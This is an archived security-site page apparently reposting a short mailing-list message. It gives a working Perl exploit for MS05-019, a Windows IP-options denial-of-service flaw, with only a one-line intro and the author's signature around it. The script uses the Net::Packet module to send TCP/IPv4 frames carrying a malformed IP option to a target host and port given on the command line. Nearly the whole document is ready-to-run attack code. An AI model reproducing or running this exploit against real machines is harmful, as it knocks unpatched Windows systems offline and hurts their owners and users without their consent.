TUCoPS :: Windows :: hack7628.htm

MS05-019 Windows IP options DoS exploit
MS05-019 Windows IP options DoS exploit


   Here is another exploit for MS05-019 vulnerability.

   Well, it is just to promote Net::Packet ;)

---
#!/usr/bin/perl
use strict;
use warnings;

my %opts;
use Getopt::Std;
getopts('t:p:', \%opts);
die("Usage: $0 -t TARGET -p PORT\n") unless $opts{t} && $opts{p};

use Net::Pkt;

$Env->debug(3);

my $frame = Net::Packet::Frame->new(
   l3 => Net::Packet::IPv4->new(
      dst     => $opts{t},
      options => "\x03\x27". 'G'x38,
   ),
   l4 => Net::Packet::TCP->new(
      dst => $opts{p},
   ),
);

$frame->send for 1..5;
---

-- 
^ ___ ___ FreeBSD Network - http://www.GomoR.org/ <-+ 
  | / __ |__/          Systems & Security Engineer         |
  | \__/ |  \     ---[ zsh$ alias psed='perl -pe ' ]---    |
+--> Net::Packet <=> http://search.cpan.org/~gomor/ <--+ 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH